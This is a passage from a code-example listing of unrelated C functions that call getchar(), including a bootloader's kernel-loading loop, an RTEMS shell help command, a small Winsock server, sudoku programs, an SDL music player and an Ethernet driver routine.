		gBootMode |= kBootModeQuiet;
	}

	// Override firstRun to get to the boot menu instantly by setting "Instant Menu"=y in system config
	if (getBoolForKey(kInstantMenuKey, &instantMenu, &bootInfo->chameleonConfig) && instantMenu) {
		firstRun = false;
	}

	// Loading preboot ramdisk if exists.
	loadPrebootRAMDisk();

	// Disable rescan option by default
	gEnableCDROMRescan = false;

	// Enable it with Rescan=y in system config
	if (getBoolForKey(kRescanKey, &gEnableCDROMRescan, &bootInfo->chameleonConfig)
		&& gEnableCDROMRescan) {
		gEnableCDROMRescan = true;
	}

	// Ask the user for Rescan option by setting "Rescan Prompt"=y in system config.
	rescanPrompt = false;
	if (getBoolForKey(kRescanPromptKey, &rescanPrompt , &bootInfo->chameleonConfig)
		&& rescanPrompt && biosDevIsCDROM(gBIOSDev))
	{
		gEnableCDROMRescan = promptForRescanOption();
	}

	// Enable touching a single BIOS device only if "Scan Single Drive"=y is set in system config.
	if (getBoolForKey(kScanSingleDriveKey, &gScanSingleDrive, &bootInfo->chameleonConfig)
		&& gScanSingleDrive) {
		gScanSingleDrive = true;
	}

	// Create a list of partitions on device(s).
	if (gScanSingleDrive) {
		scanBootVolumes(gBIOSDev, &bvCount);
	} else {
		scanDisks(gBIOSDev, &bvCount);
	}

	// Create a separated bvr chain using the specified filters.
	bvChain = newFilteredBVChain(0x80, 0xFF, allowBVFlags, denyBVFlags, &gDeviceCount);

	gBootVolume = selectBootVolume(bvChain);

	// Intialize module system 
	init_module_system();

#if DEBUG
	printf(" Default: %d, ->biosdev: %d, ->part_no: %d ->flags: %d\n",
			 gBootVolume, gBootVolume->biosdev, gBootVolume->part_no, gBootVolume->flags);
	printf(" bt(0,0): %d, ->biosdev: %d, ->part_no: %d ->flags: %d\n",
			 gBIOSBootVolume, gBIOSBootVolume->biosdev, gBIOSBootVolume->part_no, gBIOSBootVolume->flags);
	getchar();
#endif

	useGUI = true;
	// Override useGUI default
	getBoolForKey(kGUIKey, &useGUI, &bootInfo->chameleonConfig);
	if (useGUI && initGUI())
	{
		// initGUI() returned with an error, disabling GUI.
		useGUI = false;
	}

	setBootGlobals(bvChain);

	// Parse args, load and start kernel.
	while (1)
	{
		bool		tryresume, tryresumedefault, forceresume;
		bool		useKernelCache = true; // by default try to use the prelinked kernel
		const char	*val;
		int			len, ret = -1;
		long		flags, sleeptime, time;
		void		*binary = (void *)kLoadAddr;

		char        bootFile[sizeof(bootInfo->bootFile)];
		char		bootFilePath[512];
		char		kernelCacheFile[512];

		// Initialize globals.
		sysConfigValid = false;
		gErrors		   = false;

		status = getBootOptions(firstRun);
		firstRun = false;
		if (status == -1) continue;

		status = processBootOptions();
		// Status == 1 means to chainboot
		if ( status ==	1 ) break;
		// Status == -1 means that the config file couldn't be loaded or that gBootVolume is NULL
		if ( status == -1 )
		{
			// gBootVolume == NULL usually means the user hit escape.
			if (gBootVolume == NULL)
			{
				freeFilteredBVChain(bvChain);
				
				if (gEnableCDROMRescan)
					rescanBIOSDevice(gBIOSDev);
				
				bvChain = newFilteredBVChain(0x80, 0xFF, allowBVFlags, denyBVFlags, &gDeviceCount);
				setBootGlobals(bvChain);
				setupDeviceList(&bootInfo->themeConfig);
			}
			continue;
		}

		// Other status (e.g. 0) means that we should proceed with boot.

		// Turn off any GUI elements
		if ( bootArgs->Video.v_display == GRAPHICS_MODE )
		{
			gui.devicelist.draw = false;
			gui.bootprompt.draw = false;
			gui.menu.draw = false;
			gui.infobox.draw = false;
			gui.logo.draw = false;
			drawBackground();
			updateVRAM();
		}

		if (platformCPUFeature(CPU_FEATURE_EM64T)) {
			archCpuType = CPU_TYPE_X86_64;
		} else {
			archCpuType = CPU_TYPE_I386;
		}

		if (getValueForKey(karch, &val, &len, &bootInfo->chameleonConfig)) {
			if (strncmp(val, "i386", 4) == 0) {
				archCpuType = CPU_TYPE_I386;
			}
		}

		if (getValueForKey(kKernelArchKey, &val, &len, &bootInfo->chameleonConfig)) {
			if (strncmp(val, "i386", 4) == 0) {
				archCpuType = CPU_TYPE_I386;
			}
		}

		// Notify modules that we are attempting to boot
		execute_hook("PreBoot", NULL, NULL, NULL, NULL);

		if (!getBoolForKey (kWake, &tryresume, &bootInfo->chameleonConfig)) {
			tryresume = true;
			tryresumedefault = true;
		} else {
			tryresumedefault = false;
		}

		if (!getBoolForKey (kForceWake, &forceresume, &bootInfo->chameleonConfig)) {
			forceresume = false;
		}

		if (forceresume) {
			tryresume = true;
			tryresumedefault = false;
		}

		while (tryresume) {
			const char *tmp;
			BVRef bvr;
			if (!getValueForKey(kWakeImage, &val, &len, &bootInfo->chameleonConfig))
				val = "/private/var/vm/sleepimage";

			// Do this first to be sure that root volume is mounted
			ret = GetFileInfo(0, val, &flags, &sleeptime);

			if ((bvr = getBootVolumeRef(val, &tmp)) == NULL)
				break;

			// Can't check if it was hibernation Wake=y is required
			if (bvr->modTime == 0 && tryresumedefault)
				break;

			if ((ret != 0) || ((flags & kFileTypeMask) != kFileTypeFlat))
				break;

			if (!forceresume && ((sleeptime+3)<bvr->modTime)) {
#if DEBUG
				printf ("Hibernate image is too old by %d seconds. Use ForceWake=y to override\n",
						bvr->modTime-sleeptime);
#endif
				break;
			}

			HibernateBoot((char *)val);
			break;
		}
        
		verbose("Loading Darwin %s\n", gMacOSVersion);

		getBoolForKey(kUseKernelCache, &useKernelCache, &bootInfo->chameleonConfig);
		if (useKernelCache) do {

			// Determine the name of the Kernel Cache
			if (getValueForKey(kKernelCacheKey, &val, &len, &bootInfo->bootConfig)) {
				if (val[0] == '\\')
				{
					len--;
					val++;
				}
				/* FIXME: check len vs sizeof(kernelCacheFile) */
				strlcpy(kernelCacheFile, val, len + 1);
			} else {
				kernelCacheFile[0] = 0; // Use default kernel cache file
			}

			if (gOverrideKernel && kernelCacheFile[0] == 0) {
				verbose("Using a non default kernel (%s) without specifying 'Kernel Cache' path, KernelCache will not be used\n", bootInfo->bootFile);
				useKernelCache = false;
				break;
			}
			if (gMKextName[0] != 0) {
				verbose("Using a specific MKext Cache (%s), KernelCache will not be used\n", gMKextName);
				useKernelCache = false;
				break;
			}
			if (gBootFileType != kBlockDeviceType)
				useKernelCache = false;

		} while(0);

		do {
			if (useKernelCache) {
				ret = LoadKernelCache(kernelCacheFile, &binary);
				if (ret >= 0)
					break;
			}

			bool bootFileWithDevice = false;
			// Check if bootFile start with a device ex: bt(0,0)/Extra/mach_kernel
			if (strncmp(bootInfo->bootFile,"bt(",3) == 0 ||
				strncmp(bootInfo->bootFile,"hd(",3) == 0 ||
				strncmp(bootInfo->bootFile,"rd(",3) == 0)
				bootFileWithDevice = true;

			// bootFile must start with a / if it not start with a device name
			if (!bootFileWithDevice && (bootInfo->bootFile)[0] != '/')
            {
                if (checkOSVersion("10.10")) {
                    snprintf(bootFile, sizeof(bootFile), kDefaultKernelPathYosemite"%s", bootInfo->bootFile); // for Yosemite
                } else {
                    snprintf(bootFile, sizeof(bootFile), kDefaultKernelPath"%s", bootInfo->bootFile); // append a leading /
                }
            } else {
				strlcpy(bootFile, bootInfo->bootFile, sizeof(bootFile));
            }

			// Try to load kernel image from alternate locations on boot helper partitions.
			ret = -1;
			if ((gBootVolume->flags & kBVFlagBooter) && !bootFileWithDevice) {
				snprintf(bootFilePath, sizeof(bootFilePath), "com.apple.boot.P%s", bootFile);
				ret = GetFileInfo(NULL, bootFilePath, &flags, &time);
				if (ret == -1)
				{
					snprintf(bootFilePath, sizeof(bootFilePath), "com.apple.boot.R%s", bootFile);
					ret = GetFileInfo(NULL, bootFilePath, &flags, &time);
					if (ret == -1)
					{
						snprintf(bootFilePath, sizeof(bootFilePath), "com.apple.boot.S%s", bootFile);
						ret = GetFileInfo(NULL, bootFilePath, &flags, &time);
					}
				}
			}
			if (ret == -1)
            {
				// No alternate location found, using the original kernel image path.
				strlcpy(bootFilePath, bootFile, sizeof(bootFilePath));
			}

			verbose("Loading kernel %s\n", bootFilePath);
			ret = LoadThinFatFile(bootFilePath, &binary);
			if (ret <= 0 && archCpuType == CPU_TYPE_X86_64)
			{
				archCpuType = CPU_TYPE_I386;
				ret = LoadThinFatFile(bootFilePath, &binary);
			}
		} while (0);

		clearActivityIndicator();

#if DEBUG
		printf("Pausing...");
		sleep(8);
#endif

		if (ret <= 0) {
			printf("Can't find %s\n", bootFile);
			sleep(1);

			if (gBootFileType == kNetworkDeviceType) {
				// Return control back to PXE. Don't unload PXE base code.
				gUnloadPXEOnExit = false;
				break;
			}
			pause();

		} else {
			/* Won't return if successful. */
			ret = ExecKernel(binary);
		}
	}
	
	// chainboot
	if (status == 1) {
		// if we are already in graphics-mode,
		if (getVideoMode() == GRAPHICS_MODE) {
			setVideoMode(VGA_TEXT_MODE, 0); // switch back to text mode.
		}
	}
	
	if ((gBootFileType == kNetworkDeviceType) && gUnloadPXEOnExit) {
		nbpUnloadBaseCode();
	}
}
Exemple #22
0
/*
 * show the help. The first command implemented.
 * Can you see the header of routine? Known?
 * The same with all the commands....
 */
static int rtems_shell_help(
  int argc,
  char * argv[]
)
{
  int col,line,lines,arg;
  char* lines_env;
  rtems_shell_topic_t *topic;

  lines_env = getenv("SHELL_LINES");
  if (lines_env)
    lines = strtol(lines_env, 0, 0);
  else
    lines = 16;

  if (argc<2) {
    printf("help: The topics are\n");
    topic = rtems_shell_first_topic;
    col = printf("  all");
    while (topic) {
      if (!col){
        col = printf("  %s",topic->topic);
      } else {
        if ((col+strlen(topic->topic)+2)>78){
          printf("\n");
          col = printf("  %s",topic->topic);
        } else {
          col+= printf(", %s",topic->topic);
        }
      }
      topic = topic->next;
    }
    printf("\n");
    return 1;
  }
  line = 0;
  for (arg = 1;arg<argc;arg++) {
    const char *cur = argv[arg];
    rtems_shell_cmd_t *shell_cmd;

    if (lines && (line > lines)) {
      printf("Press any key to continue...");getchar();
      printf("\n");
      line = 0;
    }
    topic  =  rtems_shell_lookup_topic(cur);
    if (topic == NULL) {
      if ((shell_cmd = rtems_shell_lookup_cmd(cur)) == NULL) {
        if (strcmp(cur, "all") != 0) {
          printf(
            "help: topic or cmd '%s' not found. Try <help> alone for a list\n",
            cur
          );
          line++;
          continue;
        }
      } else {
        line+= rtems_shell_help_cmd(shell_cmd);
        continue;
      }
    }
    printf("help: list for the topic '%s'\n",cur);
    line++;
    shell_cmd = rtems_shell_first_cmd;
    while (shell_cmd) {
      if (topic == NULL || !strcmp(topic->topic,shell_cmd->topic))
        line+= rtems_shell_help_cmd(shell_cmd);
      if (lines && (line > lines)) {
        printf("Press any key to continue...");
        getchar();
        printf("\n");
        line = 0;
      }
      shell_cmd = shell_cmd->next;
    }
  }
  puts("");
  return 0;
}
Exemple #23
0
/*
	Can only do one connection at a time, stays open
*/
int main(void)
{
	/*
	Servers need to:
	*Open a socket
	*Bind to an address(and port)
	*listen for incoming connections
	*accept connections
	*read/send
	*/

	SOCKET s, new_socket;
	struct sockaddr_in server, client;
	int c; //takes size of sockaddr_in for client socket
	char *message;

	InitSock();


	//Create a Socket
	if ((s = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
	{
		printf("Could not create socket: %d", WSAGetLastError());
	}

	printf("Socket Created\n");

	//Prepare the sockaddr_in structure
	server.sin_family = AF_INET;
	server.sin_addr.s_addr = INADDR_ANY;
	server.sin_port = htons(8888);

	//Bind
	if (bind(s, (struct sockaddr *)&server, sizeof(server)) == SOCKET_ERROR)
	{
		printf("Bind failed with error code: %d", WSAGetLastError());
	}

	printf("Bind done\n");

	//Listen for socket
	listen(s, 3);
	/* Then accept the connection */

	//accept and incominf connection
	printf("Waiting for incoming connections...\n");

	c = sizeof(struct sockaddr_in);
	while ((new_socket = accept(s, (struct sockaddr *)&client, &c)) != INVALID_SOCKET)
	{
		printf("Connection accepted\n");

		//Reply to client
		message = "Hello, you!";
		send(new_socket, message, strlen(message), 0);
	}

	if (new_socket == INVALID_SOCKET)
	{
		printf("accept failed with error code: %d", WSAGetLastError());
	}

	getchar(); //pause

	closesocket(s);
	WSACleanup();

	return 0;

}
Exemple #24
0
int sudoku(int mode)
{
	clear_window();
	int level = 1;
	/* we get a random number from 0 to 9 as a char value */
	char n[2] = {randomnumber(), '\0'};
	char path[256] = "/etc/sudoku/sudoku_";
	if (mode == LOAD_SUDOKU) {
		printf("Sudoku File Path: ");
		gets_s(path, 256);
	}
	else {
		if (mode == 0 || mode == 2) {
			strcat(path, "easy");
		}
		if (mode == 1 || mode == 3) {
			strcat(path, "difficult");
		}
		strcat(path, n);
	}
	int numbers[16];
	int numbers_def[16];
	/* get sudoku */
	for (int i = 0; i < 16; i++) {
		numbers_def[i] = make_sudoku(i, path);
		if (numbers_def[i] < 0 || numbers_def[i] > 4) {
			clear_window();
			printf("Error: El archivo '%s' es erroneo o corrupto\n", path);
			printf("Pulsa una tecla para continuar.\n");
			getchar();
			return -1;
		}
	}
	for (int i = 0; i < 16; i++) {
		numbers[i] = numbers_def[i];
	}
	int sudoku4x4[4][4];
	int subregions[4][4];
	char option = 'r';
	while (option != 'c' && option != 'C') {
		print_sudoku(numbers);
		for (int i = 0; i < 16; i++) {
			if (numbers[i] == 0) {
				printf("Introduce el valor a la X%d: ", i+1);
				numbers[i] = getnum();
				if (numbers[i] > 4 || numbers[i] == 0) {
					numbers[i] = 1;
				}
				/* if you press return key */
				if (numbers[i] == -1) {
					/* put numbers[i] and numbers[i-1] equal to 0
					 * if not you can't rewrite it 
					 */
					numbers[i] = 0;
					i--;
					if (numbers[i] != numbers_def[i] && i > 0) {
						numbers[i] = 0;
						i--;
					}
				}
				printf("%c\n", numbers[i]);
				print_sudoku(numbers);
			}
		}
		for (int i = 0, k = 0, p=0; k < 4; i++) {
			sudoku4x4[k][i] = numbers[p];
			if ((i+1) % 4 == 0) {
				k++;
				i = -1;
			}
			p++;
		}
		for(int i = 0, k = 0; i < 4; i++) {
			int action = 0;
			for(int j = 0; j < 4; j++) {
				subregions[i][j] = numbers[k];
				if ((k+1) % 2 == 0) {
					if ((k+1) == 8) {
						k = 5;
						action = 0;
					}
					if (action == 0) {
						k += 3;
						action++;
					}
					else {
						k -= 3;
						action--;
					}
				}
				else {
					k++;
				}
			}
		}
		int gamestate = WIN;
		/* check rows and columns */
		for (int i = 0, k = 0; k < 4; i++) {
			for (int x = 0; x < 4; x++) {
				if (sudoku4x4[k][i] == sudoku4x4[k][x] && i != x) {
					gamestate = LOST;
				}
			}
			if ((i+1) % 4 == 0) {
				k++;
				i = -1;
			}
		}
		for (int i = 0, k = 0; i < 4; k++) {
			for (int x = 0; x < 4; x++) {
				if (sudoku4x4[k][i] == sudoku4x4[x][i] && k != x) {
					gamestate = LOST;
				}
			}
			if ((k+1) % 4 == 0) {
				i++;
				k = -1;
			}
		}
		/* check subregions */
		for (int i = 0, k = 0; k < 4; i++) {
			for (int x = 0; x < 4; x++) {
				if (subregions[k][i] == subregions[k][x] && i != x) {
					gamestate = LOST;
				}
			}
			if (i+1 == 4) {
				k++;
				i = -1;
			}
		}
		if (gamestate == WIN && mode < 2) {
			printf("Nivel %d COMPLETADO\n", level);
			do {
				printf("[N]ivel %d o [C]errar\n", ++level);
				option = getchar();
			} while (option != 'n' && option != 'N' && option != 'c' && option != 'C');
			n[0] = randomnumber();
		}
		if (gamestate == LOST && mode < 2) {
			printf("Nivel %d NO COMPLETADO\n", level);
			do {
				printf("[R]eintentar o [C]errar\n");
				option = getchar();
			} while (option != 'r' && option != 'R' && option != 'c' && option != 'C');
		}
		if (mode == LOAD_SUDOKU) {
			if (gamestate == WIN) {
				printf("Sudoku COMPLETADO\n");
			}
			else {
				printf("Sudoku NO COMPLETADO\n");
			}
			printf("[R]eintentar o [C]errar\n");
			option = getchar();
		}
		if (option == 'r' || option == 'R' || option == 'n' || option == 'N') {
			for (int i = 0; i < 16; i++) {
				numbers[i] = make_sudoku(i, path);
			}
		}
		/* multiplayer mode */
		if (mode == COMPETITION_EASY && gamestate == WIN) {
			return 1;
		}
		if (mode == COMPETITION_DIFF && gamestate == WIN) {
			return 3;
		}
		if (mode == COMPETITION_EASY || mode == COMPETITION_DIFF) {
			if (gamestate == LOST) {
				return 0;
			}
		}
	}

	return 0;
}
Exemple #25
0
int main() {
    zdd_init();
    // The universe is {1, ..., 9^3 = 729}.
    zdd_set_vmax(729);
    // Number rows and columns from 0. Digits are integers [1..9].
    // The digit d at (r, c) is represented by element 81 r + 9 c + d.
    inta_t list;
    inta_init(list);
    for(int i = 0; i < 9; i++) {
        for(int j = 0; j < 9; j++) {
            int c = getchar();
            if (EOF == c) die("unexpected EOF");
            if ('\n' == c) die("unexpected newline");
            if (c >= '1' && c <= '9') {
                inta_append(list, 81 * i + 9 * j + c - '0');
            }
        }
        int c = getchar();
        if (EOF == c) die("unexpected EOF");
        if ('\n' != c) die("expected newline");
    }
    inta_append(list, -1);
    contains_all(inta_raw(list));
    inta_clear(list);

    global_one_digit_per_box();
    zdd_intersection();

    // Number of ways you can put nine 1s into a sudoku is
    //   9*6*3*6*3*4*2*2.
    printf("rows\n");
    fflush(stdout);
    for(int i = 1; i <= 9; i++) {
        for(int r = 0; r < 9; r++) {
            unique_digit_per_row(i, r);
            if (r) zdd_intersection();
        }
        zdd_intersection();
    }
    for(int i = 1; i <= 9; i++) {
        for(int c = 0; c < 3; c++) {
            for(int r = 0; r < 3; r++) {
                printf("3x3 %d: %d, %d\n", i, r, c);
                fflush(stdout);
                unique_digit_per_3x3(i, r, c);
                if (r) zdd_intersection();
            }
            if (c) zdd_intersection();
        }
        zdd_intersection();
    }
    for(int i = 1; i <= 9; i++) {
        for(int c = 0; c < 9; c++) {
            printf("cols %d: %d\n", i, c);
            fflush(stdout);
            unique_digit_per_col(i, c);
            if (c) zdd_intersection();
        }
        zdd_intersection();
    }

    void printsol(int *v, int vcount) {
        for(int i = 0; i < vcount; i++) {
            putchar(((v[i] - 1) % 9) + '1');
            if (8 == (i % 9)) putchar('\n');
        }
        putchar('\n');
    }
    zdd_forall(printsol);
    return 0;
}
Exemple #26
0
int main(int argc, char **argv) {
  if (argc < 2 || argc > 4) {
    fprintf(stderr, "Usage: %s <filename> [<flag>] [<duration>]\n", argv[0]);
    return EXIT_FAILURE;
  }
  int music_flag = 0;
  if (argc >= 3) {
    if (sscanf(argv[2], "%d", &music_flag) < 1) {
      fprintf(stderr, "Invalid flag value: %s\n", argv[2]);
      return EXIT_FAILURE;
    }
  }
  double wav_duration = 0.0;
  if (argc >= 4) {
    if (sscanf(argv[3], "%lf", &wav_duration) < 1) {
      fprintf(stderr, "Invalid WAV duration: %s\n", argv[3]);
      return EXIT_FAILURE;
    }
  }

  // Initialize drum kit:
  int num_drums = 0;
  const az_sound_data_t *drums = NULL;
  az_get_drum_kit(&num_drums, &drums);

  // Load music:
  az_reader_t reader;
  if (!az_file_reader(argv[1], &reader)) {
    fprintf(stderr, "ERROR: could not open %s\n", argv[1]);
    return EXIT_FAILURE;
  }
  if (!az_read_music(&reader, num_drums, drums, &music)) {
    fprintf(stderr, "ERROR: failed to parse music.\n");
    return EXIT_FAILURE;
  }
  az_rclose(&reader);
  atexit(destroy_music);
  az_reset_music_synth(&synth, &music, music_flag);

  // If we're in WAV mode, generate WAV file and exit.
  if (wav_duration > 0.0) {
    az_write_music_to_wav_file(stdout, &synth, wav_duration);
    return EXIT_SUCCESS;
  }

  // Initialize SDL audio:
  if (SDL_Init(SDL_INIT_AUDIO) != 0) {
    fprintf(stderr, "ERROR: SDL_Init failed.\n");
    return EXIT_FAILURE;
  }
  atexit(SDL_Quit);
  SDL_AudioSpec audio_spec = {
    .freq = AZ_AUDIO_RATE,
    .format = AUDIO_S16SYS,
    .channels = 1,
    .samples = 4096,
    .callback = &audio_callback
  };
  if (SDL_OpenAudio(&audio_spec, NULL) != 0) {
    fprintf(stderr, "ERROR: SDL_OpenAudio failed.\n");
    return EXIT_FAILURE;
  }
  atexit(SDL_CloseAudio);

  // Start playing music:
  SDL_PauseAudio(0); // unpause audio
  fprintf(stderr, "Press Ctrl-D to stop playing.\n");

  // Read flag values from stdin:
  int ch;
  do {
    fprintf(stdout, "flag=%d> ", music_flag);
    fflush(stdout);
    int flag = 0;
    while ((ch = getchar()) >= '0' && ch <= '9') {
      flag = 10 * flag + (ch - '0');
    }
    SDL_LockAudio(); {
      synth.flag = music_flag = flag;
    } SDL_UnlockAudio();
  } while (ch != EOF);
  fprintf(stdout, "\n");

  return EXIT_SUCCESS;
}
int main(const int argc, char *const *argv){
    t_log* logger=NULL;

    /* estado sistema (var global) */
    error_sys = false;

    if(ifnProcesarArgumentos(argc, argv, &tParametros))
            return -1;
    /*
      printf("lvl: %d \n",tParametros.sLogLevel);
      printf("fecha: %s \n",tParametros.szFecha_Inicio);
      printf("log: %s \n",tParametros.szLogName);
      printf("nombre: %s \n",tParametros.szProcName);
	*/
      logger = log_create(tParametros.szLogName,tParametros.szProcName,tParametros.iVerbose,tParametros.sLogLevel);

	if(logger)
		log_info(logger, "Inicio LOG: lvl[%d] stdout[%d]",tParametros.sLogLevel,tParametros.iVerbose);
	else
	{
	   fprintf(stderr,"Error al inicializar el log\n");
	   return -1;
	}

	/* Path archivo de configuracion */
	strcpy(tParametros.szPath_completo,PATH_CONFIG_PLATAFORMA);
	strcat(tParametros.szPath_completo,tParametros.szFileConfig);
	log_info(logger, "Path Configuracion [%s]",tParametros.szPath_completo);

	personajes_listos = list_mutex_create();
	personajes_bloqueados = list_mutex_create();
	planificadores = list_mutex_create();
	personajes_finalizados = list_mutex_create();
	estado_plataforma = true;
	sem_init(&semaforo_nodos_nuevos, 0, 0);


	log_trace(logger, "Se crea el hilo orquestador\n");
	pthread_t t_orquestador;

	pthread_create(&t_orquestador, NULL,&hilo_orquestador, NULL);

	t_planificador * datosNivel;
	log_trace(logger, "INICIO - while estado_plataforma[%d]\n",estado_plataforma);
	while(estado_plataforma == true){
		sem_wait(&semaforo_nodos_nuevos);

		if(estado_plataforma == false){
			break;

		}
		datosNivel = buscar_nivel_nuevo();
		pthread_create(datosNivel->tid, NULL, (void*) &planificadorDeNivel, NULL);
	}

	log_trace(logger, "FIN - while estado_plataforma[%d]",estado_plataforma);

	//Esperar a que terminen los hilos para finalizar la plataforma.
	int i = 0;
	log_debug(logger, "Esperando que finalicen los hilos planificadores.");
	while(i < planificadores->list->elements_count){
		datosNivel = (t_planificador*) list_mutex_get(planificadores, i);
		log_debug(logger, "Finalizado el hilo del nivel %d", datosNivel->nroNivel);
		pthread_join((pthread_t) *(datosNivel->tid), NULL);
		i++;

	}

	log_debug(logger, "Esperando que finalice el hilo orquestador.");
	pthread_join(t_orquestador, NULL);
	log_info(logger, "Fin thread Orquestador");

	liberar_memoria_plataforma();

	sleep(2);
	log_info(logger_orq, "Todos los hilos finalizaron, presione una tecla para continuar.");
	log_destroy(logger_orq);
	getchar();

	if(!error_sys)
		log_info(logger, "Fin ejecucion normal [%s]", tParametros.szProcName);
	else
	{
		log_error(logger, "Fin ejecucion con Errores.  [%s]", tParametros.szProcName);
		return EXIT_FAILURE;
	}

	char * pepe[]={"tests/koopa/koopa","tests/koopa/koopa_operaciones",NULL};
	execv("tests/koopa/koopa",pepe);

	log_destroy(logger);
	return EXIT_SUCCESS;
}
Exemple #28
0
int
pfi_sprintf ( char * tgt, char * fmt, uint32_t * _stack )
{
    uint64_t data64;
    uint32_t data32;
    char spec[256], type;
    int i, d, f, len;
    uint32_t * sp;
    
    sp = _stack;
    
    for( i = 0, d = 0; fmt[i]; i++ )
    {
        #if 0
          if( d > 0 )
          {
              g_print( "%c", tgt[d-1] );
              g_usleep( G_USEC_PER_SEC / 2 );
          }
        #endif 
        
        /* Format specifier? */
        if( fmt[i] == '%' )
        {
            /* Just a percent...? */
            if( fmt[i+1] == '%' )
            {
                /* Copy & continue */
                tgt[d++] = '%';
                i += 2;
                continue;
            }
            
            /* Yes, grab it */
            for( f = 0; 
                fmt[i+f] && !isspace(fmt[i+f]); 
                f++ )
            {
                spec[f] = fmt[i+f];
                
                if( is_valid_f_char(fmt[i+f]) )
                {
                    f++;
                    break;
                }
            }
            spec[f] = '\0';
            
            #if 0
              g_print( "%s\n", spec );
              getchar();
            #endif
            
            /* Check type... */
            type = spec[f-1];
            
            /* How much data we need from stack */
            switch( type )
            {
                /* Eight bytes */
                case 'e': case 'E':
                case 'f': case 'F':
                case 'g': case 'G':
                   
                  len = 8;
                  
                break;
                
                /* Four bytes */
                case 'd': case 'i':
                case 'o': case 'u':
                case 'x': case 'X':
                  
                  /* 64-bit? */
                  if( spec[f-2] == 'l' && spec[f-3] == 'l' )
                    len = 8;
                  else
                    len = 4;
                
                break;
                
                default:
                  len = 4;
            }
            
            /* Grab the data... */
            if( len == 8 )
            {
                data64 = (uint64_t)*sp | (uint64_t)*(sp+1) << 32;
                sp += 2;
            }
            else
            {
                data32 = *sp++;
            }
            
            /* String? */
            if( type == 's' )
            {
                char str[512];
                
                /* Ok, grab it from memory */
                mem_get_str( str, data32 & MMASK );
                
                /* Go */
                d += sprintf( &tgt[d], spec, str );
            }
            else
            {
                if( len == 8 )
                {
                    d += sprintf( &tgt[d], spec, data64 );
                }
                else
                {
                    d += sprintf( &tgt[d], spec, data32 );
                }
            }
            
            /* Finished... */
            i += f - 1;
            continue;
        }
        
        /* No format -- straight copy */
        tgt[d++] = fmt[i];
    }
    
    /* NULL terminate */
    tgt[d] = '\0';
    
    return d;
}
Exemple #29
0
int
le_put(struct iodesc *desc, void *pkt, size_t len)
{
#if 0
	struct netif *nif = desc->io_netif;
	int unit = nif->nif_unit;
#else
	int unit = 0;
#endif
	struct le_softc *sc = &le_softc[unit];
	volatile struct mds *cdm;
	int timo, i, stat;

 le_put_loop:
	timo = 100000;

#ifdef LE_DEBUG
	if (le_debug)
		printf("le%d: le_put called. next_td=%d\n", unit, sc->sc_next_td);
#endif
	stat = lerdcsr(sc, 0);
	lewrcsr(sc, 0, stat & (LE_BABL | LE_MISS | LE_MERR | LE_TINT));
	if (stat & (LE_BABL | LE_CERR | LE_MISS | LE_MERR))
		le_error(unit, "le_put(way before xmit)", stat);
	cdm = &sc->sc_td[sc->sc_next_td];
        i = 0;
#if 0
	while (cdm->flags & LE_OWN) {
		if ((i % 100) == 0)
			printf("le%d: output buffer busy - flags=%x\n",
				unit, cdm->flags);
		if (i++ > 500) break;
	}
	if (cdm->flags & LE_OWN)
		getchar();
#else
	while (cdm->flags & LE_OWN);
#endif
	bcopy(pkt, sc->sc_tbuf + (BUFSIZE * sc->sc_next_td), len);
	if (len < ETHER_MIN_LEN)
		cdm->bcnt = -ETHER_MIN_LEN;
	else
		cdm->bcnt = -len;
	cdm->mcnt = 0;
	cdm->flags |= LE_OWN | LE_STP | LE_ENP;
	stat = lerdcsr(sc, 0);
	if (stat & (LE_BABL | LE_CERR | LE_MISS | LE_MERR))
		le_error(unit, "le_put(before xmit)", stat);
	lewrcsr(sc, 0, LE_TDMD);
	stat = lerdcsr(sc, 0);
	if (stat & (LE_BABL | LE_CERR | LE_MISS | LE_MERR))
		le_error(unit, "le_put(after xmit)", stat);
	do {
		if (--timo == 0) {
			printf("le%d: transmit timeout, stat = 0x%x\n",
				unit, stat);
			if (stat & LE_SERR)
				le_error(unit, "le_put(timeout)", stat);
			if (stat & LE_INIT) {
				printf("le%d: reset and retry packet\n", unit);
				lewrcsr(sc, 0, LE_TINT);	/* sanity */
				le_init(desc, NULL);
				goto le_put_loop;
			}
			break;
		}
		stat = lerdcsr(sc, 0);
	} while ((stat & LE_TINT) == 0);
	lewrcsr(sc, 0, LE_TINT);
	if (stat & (LE_BABL |/* LE_CERR |*/ LE_MISS | LE_MERR)) {
		printf("le_put: xmit error, buf %d\n", sc->sc_next_td);
		le_error(unit, "le_put(xmit error)", stat);
	}
	if (++sc->sc_next_td >= NTBUF)
		sc->sc_next_td = 0;
	if (cdm->flags & LE_DEF)
		le_stats[unit].deferred++;
	if (cdm->flags & LE_ONE)
		le_stats[unit].collisions++;
	if (cdm->flags & LE_MORE)
		le_stats[unit].collisions+=2;
	if (cdm->flags & LE_ERR) {
		printf("le%d: transmit error, error = 0x%x\n", unit,
			cdm->mcnt);
		return -1;
	}
#ifdef LE_DEBUG
	if (le_debug) {
		printf("le%d: le_put() successful: sent %d\n", unit, len);
		printf("le%d: le_put(): flags: %x mcnt: %x\n", unit,
			(unsigned int) cdm->flags,
			(unsigned int) cdm->mcnt);
	}
#endif
	return len;
}
void scan(A& x, char _ = ' ')
{
	while((x = getchar()) < '0');
	for(x -= '0'; '0' <= (_ = getchar()); x = (x << 3) + (x << 1) + _ - '0');
}